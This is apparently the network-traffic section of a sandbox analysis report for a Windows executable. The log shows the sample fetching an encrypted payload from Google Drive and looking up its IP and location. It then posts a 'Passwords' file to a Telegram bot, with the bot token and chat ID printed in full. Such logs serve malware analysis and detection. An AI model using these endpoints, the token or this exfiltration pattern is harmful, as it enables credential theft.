Jan 11, 2025 07:40:24.370826960 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:40:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	50022	132.226.8.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:40:28.487767935 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49890	216.58.206.46	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:39:42 UTC	216	OUT	GET /uc?export=download&id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-11 06:39:42 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 06:39:42 GMT Location: https://drive.usercontent.google.com/download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-w5Ty9s3vxWYrk8qi3ZZ0Uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49896	142.250.185.129	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:39:43 UTC	258	OUT	GET /download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-11 06:39:45 UTC	4932	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgRNcrw72R3BKsjiAsEtyBNXHYfpktgeM4-gZJS6YSbkhzxvxO7JIrSzm2MysQPnu9fj Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="SWsnzGMcBEW4.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 09 Dec 2024 08:23:56 GMT Date: Sat, 11 Jan 2025 06:39:45 GMT Expires: Sat, 11 Jan 2025 06:39:45 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=3r3qmg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 06:39:45 UTC	4932	IN	Data Raw: ac 94 58 e8 50 9a a4 9b 32 1b bc e1 e7 5e 93 5c ee f9 45 ae 03 14 56 ed 04 78 f8 5d 4e a0 6f 30 c8 50 00 31 a1 20 a4 4f f1 f4 f9 55 42 e9 7d e6 fd 41 6e 08 e5 60 6b b0 bf f7 96 ec 4d 36 1b 1b 46 6a f9 e9 f4 53 ae c7 75 2b b8 de 91 46 f8 60 0e 2d 45 50 45 28 90 e9 c9 13 7e 4e 18 9a 49 79 dc a1 16 ed ce de 24 1a 40 ca de 77 de 30 e9 4a 2d 7a ee 1f 0b 70 78 7f 68 c1 d6 b9 04 fe 71 46 4b 32 65 a4 3a c6 63 4a c4 cf d5 5a 78 4d 01 66 ca 2b e0 c4 ba 4f 45 11 68 8b 50 d3 49 17 91 47 fc b7 69 ed 58 25 f5 8d 03 cf bc 2f 6b 55 96 08 a1 47 a2 b3 1b 5d 7e 32 12 2b 5b de 69 d9 f8 62 dc 06 07 04 8c 6d ae b5 02 a9 ec 40 0c c9 40 65 cc 07 f6 e9 bc 85 45 dd dc 11 b6 40 a4 d0 e1 0e 0c 19 3d 13 37 73 37 13 4c 58 9e 5d 1c 6e d9 b3 7a 59 17 52 86 8e a3 3d a1 df c7 bb a3 fb 22 Data Ascii: XP2^\EVx]No0P1 OUB}An`kM6FjSu+F`-EPE(~NIy$@w0J-zpxhqFK2e:cJZxMf+OEhPIGiX%/kUG]~2+[ibm@@eE@=7s7LX]nzYR="
2025-01-11 06:39:45 UTC	4834	IN	Data Raw: 71 1b 4c 9c 6b 5d f5 aa 27 68 bd ec f2 dc 60 96 fa ce 4a 3d 78 36 94 d1 aa 37 b5 ef ab f1 45 d2 e4 4b c5 78 56 90 e8 54 69 7c 93 31 fd 06 5e 1d 46 32 c0 d0 1f 44 2f 34 d5 23 4c c1 c4 53 ae cd 62 2f b8 f6 3c b9 f8 6a 6b 3a 47 50 45 28 90 e9 f7 0b 7e 4e 1c e8 1f 72 dc d1 00 c5 4f de 24 10 56 34 df 64 db 21 ec 73 36 7b ee 1f 0b 03 f4 7f 68 cb c5 bf 95 f8 0f 58 45 2d db d9 b7 72 6a 8d 8a f9 d4 16 bf 6c 44 08 cc d7 c0 b4 c2 5e 03 63 09 e2 1f 20 28 79 f5 28 99 91 23 19 78 57 8a 91 53 ad d2 7f 07 2c c5 28 ca 47 fb d6 35 5a 5b 7f 36 2b 51 b1 fb d9 f8 68 8c 52 01 76 c4 6b ad c5 cb 8e 99 f1 08 bb d2 6e cc 77 de ae 5c 85 4d b3 44 10 e6 4a a4 c8 f2 0e 0c 15 4e 87 37 73 3d 00 95 cc 99 32 89 4e d9 b9 6b fe 79 c4 86 8e e9 3d df df c7 bb a7 8a b5 5e b9 6d d3 0c a2 8c af Data Ascii: qLk]'h`J=x67EKxVTi\|1^F2D/4#LSb/<jk:GPE(~NrO$V4d!s6{hXE-rjlD^c (y(#xWS,(G5Z[6+QhRvknw\MDJN7s=2Nky=^m
2025-01-11 06:39:45 UTC	1323	IN	Data Raw: 7c 25 4c eb 5a 6e 65 84 a6 4d ef 03 33 c2 49 2d 05 be 74 f3 6e b5 92 8d ef f5 57 61 92 b2 31 6b 8c 36 e1 96 a6 b7 74 69 2b 31 9b ad 8f fb 56 2e 17 0e ea c0 9a bf 7d 5a 3f 63 78 3b e1 99 79 7d 86 42 58 2b ae 08 21 84 fe d7 02 a6 6a 87 69 08 ed 61 19 7a 13 0b fc 88 f6 9e 7b 11 40 8f 6f 4b 9e 0f 2a 6a cc a7 fb d4 72 b6 a7 a7 25 bd 78 36 9e d3 d8 12 c3 ef af 85 16 ac f6 41 ed 28 7e 1b e2 5f 64 6f 48 2c f8 23 7f 18 34 17 c1 d0 1b 66 fc e8 0b 3a 69 e9 f7 51 d5 8f 71 2b bc a0 3d b9 f8 6a 9e 79 45 50 4f 24 98 fa 8f 02 78 62 15 98 32 31 dc a1 12 c5 1d de 24 10 40 ca de 75 a5 7c e9 4a 29 04 bd 1f 0b 7a 50 2b 68 c1 dc b4 8d ed 76 57 42 01 d2 a8 41 3e 6a 87 e1 5f 07 16 b5 66 55 0e a3 72 c0 b4 d3 10 28 63 23 e7 70 b0 0d 79 ff 39 88 95 75 b5 78 57 84 9d 1d a6 d2 0b 51 Data Ascii: \|%LZneM3I-tnWa1k6ti+1V.}Z?cx;y}BX+!jiaz{@oK*jr%x6A(~_doH,#4f:iQq+=jyEPO$xb21$@u\|J)zP+hvWBA>j_fUr(c#py9uxWQ
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: 63 84 19 76 8f 23 57 ca 92 f8 f2 bb b2 9e 74 a1 87 92 62 44 d8 c4 a3 28 61 ca b0 f2 2a 6a f6 4b c3 de 5b 07 9a 34 76 7c 3d 9f d5 af 72 1a 45 4e c5 ae 10 4e 2f ec 1a 34 41 a7 f7 53 a4 47 7e 2b b8 da 6e ab fa 48 6b 2d 45 5a 56 2d 81 ec a4 82 a0 41 0a 98 b7 6f d0 a1 16 f6 a1 df 24 1a 4a ca 02 77 f5 32 e9 4a 07 7b fe 1f 0b 72 78 62 68 bb 41 b9 8b fe 71 46 45 36 ef a0 3a 38 69 87 e5 5b d4 16 a4 6c 26 d7 a3 58 ca bf d2 ad 1d 63 09 e7 55 a6 5a b3 ea 28 f8 35 2e 9f 0a b1 95 e3 53 04 f7 17 5d 18 d3 28 bc 8a e3 cf 47 4e 65 38 46 89 57 ca 7a dd e2 ef 1d 43 07 05 e5 7a d3 6b b5 93 93 83 36 df 40 15 a3 d8 f6 e9 56 27 62 cb a9 ce e6 40 ae c4 0d 18 0c 61 52 cc 37 73 3d b1 b7 c5 e1 83 1c 4e d3 c1 9e ee 16 22 e9 51 e3 3d ab 5d e2 a2 dd 27 22 5e b3 15 57 1c dc e7 c0 f9 46 Data Ascii: cv#WtbD(a*jK[4v\|=rENN/4ASG~+nHk-EZV-Ao$Jw2J{rxbhAqFE6:8i[l&XcUZ(5.S](GNe8FWzCzk6@V'b@aR7s=N"Q=]'"^WF
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: a4 d2 0f 3e 16 d4 25 56 3b c8 c7 3b 23 9d 38 36 21 48 d1 78 d7 e9 6c fe 13 1d 04 b0 03 46 b5 b5 99 8e 27 63 26 40 65 c6 14 e6 f8 52 f7 13 c6 d7 60 ce 0e a4 b6 ea 1d 1d 00 2c 0a 44 83 37 13 98 ce 8d 4c 0e 21 28 b3 7a f3 a1 41 95 9f f0 2a 7b e8 11 36 fa f9 22 5f aa 73 d6 17 c9 e5 4d 23 46 45 72 b3 d0 40 b1 4a c0 fd 07 49 ff e7 e3 1a 8b df b4 8c 52 22 5e 6c be 5f cb 42 a4 26 06 b7 1d f2 78 67 86 f4 87 5c cd 7d 1b 8d d6 48 8f f7 9a cf 8d 2d 3a d6 2a b6 d5 49 a8 4c 4b 0f 23 4c 7a 58 c7 49 1f 5b 91 e0 47 ad 56 65 85 fb ca da 5e 29 4d de 57 db 40 74 e4 4c 66 4f a7 3b 0d f5 ac 1a 51 61 47 0f 5f fd 06 50 18 5e c5 15 ea 4d 2a 55 bb d7 7b 43 6e 99 c8 37 7a 1c a3 66 34 95 44 ac 6c db 6b 74 9d 50 82 7e 56 22 63 c5 1e cc 7d 1c 9d 7b 16 04 31 58 17 48 10 d3 88 17 30 2d Data Ascii: >%V;;#86!HxlF'c&@eR`,D7L!(zA{6"_sM#FEr@JIR"^l_B&xg\}H-:ILK#LzXI[GVe^)MW@tLfO;QaG_P^M*U{Cn7zf4DlktP~V"c}{1XH0-
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: 64 62 dc de 2a 7b a0 ec 66 bf 47 6c 15 e4 b5 c4 50 38 48 cf 4e 38 97 52 1a 3d 58 ff a6 10 06 e8 a9 8b 19 7d 54 13 42 e7 17 51 19 5e cf 12 02 5f 39 4d bc c3 71 d7 6a 54 dc 24 74 0f 84 aa 2a 87 5b 84 db 39 70 7e c5 00 f1 87 5c 31 7f b0 d4 33 7d 6c 84 73 fc 12 43 d0 1e 4e 71 ba 14 eb 30 27 d4 24 4b 22 21 5c f8 aa 56 3c 20 95 a7 a8 8f f2 d1 af 68 5b 93 55 44 1d a4 ee a3 e1 85 6e 4e f1 1b 1a 4d 5b 0f 80 6b 15 64 29 13 49 fb 8b 03 7a 37 a2 d1 b3 20 e2 dd 43 6f 7e 32 60 20 67 f9 cf 5f 90 ad a1 2d 06 f7 16 98 83 b2 c4 de 6f 5a 52 0b c6 8d df ad 97 fa 7b 73 a8 8e 96 c1 1e ef 3e bf 9f 8a 31 b3 f3 11 1f 2a 83 77 8b bd 45 73 40 a1 c1 48 5f d8 33 b9 13 2a 66 09 2a 1e 5f d2 d2 00 52 d1 21 8c d4 68 f4 0e 8d 17 72 5d 5e bf 35 55 11 8f 53 ba fa a3 e3 5f 2a f7 3a 0a 3c 6d Data Ascii: db{fGlP8HN8R=X}TBQ^_9MqjT$t[9p~\13}lsCNq0'$K"!\V< h[UDnNM[kd)Iz7 Co~2` g_-oZR{s>1wEs@H_3f_R!hr]^5US_:<m
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: e7 49 91 ad ab 12 06 f7 07 89 94 c1 6c 06 6f 50 4b 74 f7 9d f2 6d 61 a3 6a 7b d7 95 96 c7 37 3b 33 ae 9d f4 27 8a b5 11 70 2b 85 04 56 bd 99 7d c2 c0 a8 c8 54 02 54 00 4c 73 66 0f 0d 05 37 09 c9 11 53 d0 f3 11 bb 65 3d 21 d3 00 73 57 5e b7 35 55 77 f1 67 5d 8a cc 3c 4c 2e 2f 17 27 05 59 c1 53 4f 44 89 37 c0 46 98 28 db 87 f9 d7 5b 56 4b 21 5c 1d 4d a2 55 e4 ac 66 26 33 40 d8 05 73 f0 52 8d ee f0 f3 a7 c0 70 2d 06 d0 b4 9d 40 e5 03 03 8c c6 4d ea ec 97 3a 37 58 f1 e2 20 b9 4f 5e 11 d6 7b 23 8b 46 fe 19 b2 e4 2d 73 84 71 a1 1a 90 df e0 f4 17 6e e6 3d 95 2a 35 10 60 1b 4f 05 e4 ab 5f 36 ec 1b c5 29 d9 c2 ff 80 f3 f4 a5 a9 ef f2 74 90 8f 4a 24 d8 85 67 e1 90 a0 9d 7e 8c 50 49 8f f9 63 3a 76 90 15 87 00 71 b3 e3 23 eb 1c a0 4d 9e 1c 95 1a 0a 6a 6f 81 8f 37 da Data Ascii: IloPKtmaj{7;3'p+V}TTLsf7Se=!sW^5Uwg]<L./'YSOD7F([VK!\MUf&3@sRp-@M:7X O^{#F-sqn=*5`O_6)tJ$g~PIc:vq#Mjo7
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: 4d 5f 14 20 56 73 87 7f f7 0e 4c ef 51 7c 94 7a 87 63 bd 74 e0 fe 35 eb e3 52 cc 39 3c 0b 78 06 99 91 f7 a1 48 2f ff e5 c4 3a f9 f3 f4 84 4f dc 0f a3 e7 e9 62 e7 7c 09 24 a8 e0 a3 e8 b8 33 f2 21 8a 43 46 a7 45 63 11 50 83 38 2d 11 75 cb 09 37 ec 1e 2a 79 1f 6c fa c5 1c 94 6a ff d5 45 38 66 f3 f4 aa 7e 6d 89 9d 89 8a 6f f1 07 02 22 65 60 64 5e cc 83 2a d1 3b f4 45 59 96 e3 87 b7 64 11 5e 55 7d 98 db 92 bb 67 3a dd 8d ec 8c 29 a9 35 13 d9 1b 52 ba cf 2a 12 ca b3 35 01 b8 d4 cf eb 83 30 7d 40 99 d4 46 3e 04 cd 58 d1 1a c3 a3 02 1b 6c 7f 53 9c 16 9f 5c 13 2b 1c a8 b8 1d 36 30 fd a3 9d ce 53 2d 5b 69 e6 2d 6e 4b 19 62 1e 18 ce ca 0a fd 12 a1 e7 50 3d fb b8 f6 e7 2f 97 6b ff da c9 f3 65 8c a9 44 68 5c 84 42 a7 e8 e2 4f 84 e4 0a 9a 69 7c 17 c1 50 6c a5 3b d9 8c Data Ascii: M_ VsLQ\|zct5R9<xH/:Ob\|$3!CFEcP8-u7yljE8f~mo"e`d^;EYd^U}g:)5R*50}@F>XlS\+60S-[i-nKbP=/keDh\BOi\|Pl;
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: d8 92 37 3d e4 32 b5 cb 50 b0 a5 b7 52 cc 0f 6d aa 55 74 a7 55 53 ec b5 9f 51 70 c8 aa 8d d4 cd 3d 07 f4 71 1a fe 81 01 4e 63 85 82 35 5d 08 66 b8 2c d9 90 02 e8 12 db c5 7a 26 ea b9 54 c2 22 e2 b7 0b c9 be 40 4a 3d af 7a 82 b1 76 c3 a8 e8 3c 5b b0 c1 11 d4 69 76 0e 4f 5f 44 f7 3f d9 86 cb b3 06 10 a7 c0 33 b0 99 b0 55 14 ba ef cd 55 26 4b 6f f9 64 e1 94 37 12 6b 29 6d 4f bc c0 6e 22 9d f7 7a c8 b4 3f 67 55 d0 dc 36 d9 38 fe 82 65 d1 50 cb 68 df ab 48 92 6d 9d db 5a 94 96 96 a6 74 c2 24 c6 c2 78 19 7f de c4 6b 0f d9 e2 10 0b 96 68 88 ab e3 fa 08 1e f3 1d 14 37 ca d4 0a 8c 02 db 20 f5 16 18 ad 2f 2b c4 de d5 3d c9 32 51 12 11 f8 82 df 1d a5 3a 28 37 ba 7f 69 83 f3 84 73 8c f6 b1 53 1a 56 5b a8 a7 80 e6 44 78 45 9a bf b5 e0 43 f3 ee c4 65 4f 13 76 95 9e da Data Ascii: 7=2PRmUtUSQp=qNc5]f,z&T"@J=zv<[ivO_D?3UU&Kod7k)mOn"z?gU68ePhHmZt$xkh7 /+=2Q:(7isSV[DxECeOv
2025-01-11 06:39:45 UTC	1390	IN	Data Raw: 96 a7 45 b3 3c c6 be 79 19 7f ed d7 6b 1e d9 aa 0d 23 4e 02 89 a1 91 d9 2b 1e 83 71 5a 37 cb c5 30 88 04 8f d9 f5 16 21 a6 28 03 82 c0 c9 15 17 41 86 18 63 67 ab d7 1f d7 68 28 47 df a7 69 85 dd 5a 7b e3 2f ba 54 25 07 80 bb a1 90 86 94 40 52 9d b3 bd 9a 08 e8 9c dc 16 9d 63 19 46 b8 d2 0a 38 97 b2 bc 2e d1 eb 30 50 f6 4f ff b4 4b 89 57 a7 f0 6a 89 b5 e0 0e 23 80 9a 85 26 28 f7 7a 08 7f ba 3a 62 52 ec 6b a5 5a 94 32 8b d4 1f 42 e3 d4 0c 92 a5 9d d9 fc d6 2f 93 dd 9b 9c 81 23 78 3a f2 49 be 10 6d 1b 1c 3a 84 09 4e 70 b8 fd 22 13 09 07 aa 30 14 c5 93 5e dc d8 eb 50 15 3c 8d b7 40 fe eb 30 aa 09 3c 0f ac 88 89 36 be 83 82 eb 31 7f cb 98 b2 39 7f 07 30 c3 db a6 bd 61 62 01 df d6 ad 89 ec 7b ff 17 0e cb 9d d6 97 d7 5e 3f 69 5a 2a e6 eb f6 51 84 32 ad fe ae 08 Data Ascii: E<yk#N+qZ70!(Acgh(GiZ{/T%@RcF8.0POKWj#&(z:bRkZ2B/#x:Im:Np"0^P<@0<6190ab{^?iZ*Q2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49932	104.21.80.1	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:39:48 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 06:39:48 UTC	859	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:39:48 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1892377 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X2YcQwp0kUSGmdcJhuqlnHtxGZSX9p3BywCkITJ6fnt3VCUP2Ea%2FE5eq47x%2BAOg%2BjRGDxjGP%2Fwq4Pcuo4AMGzt3dep5Pg7RbL%2BuPOWHFJIWfeICMQBeLy7P4PuBp3OtG4X3VRmAb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9002e9691cb37d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1903&min_rtt=1894&rtt_var=730&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1479979&cwnd=244&unsent_bytes=0&cid=d5cd2df64f0b556b&ts=135&x=0"
2025-01-11 06:39:48 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49968	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:39:55 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e0d8e507c4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:39:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 30 64 38 65 35 30 37 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e0d8e507c4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:39:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:39:55 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:39:55 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 39 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 37 35 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43963,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736577595,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49983	149.154.167.220	443	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:39:57 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f9f36ff63c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
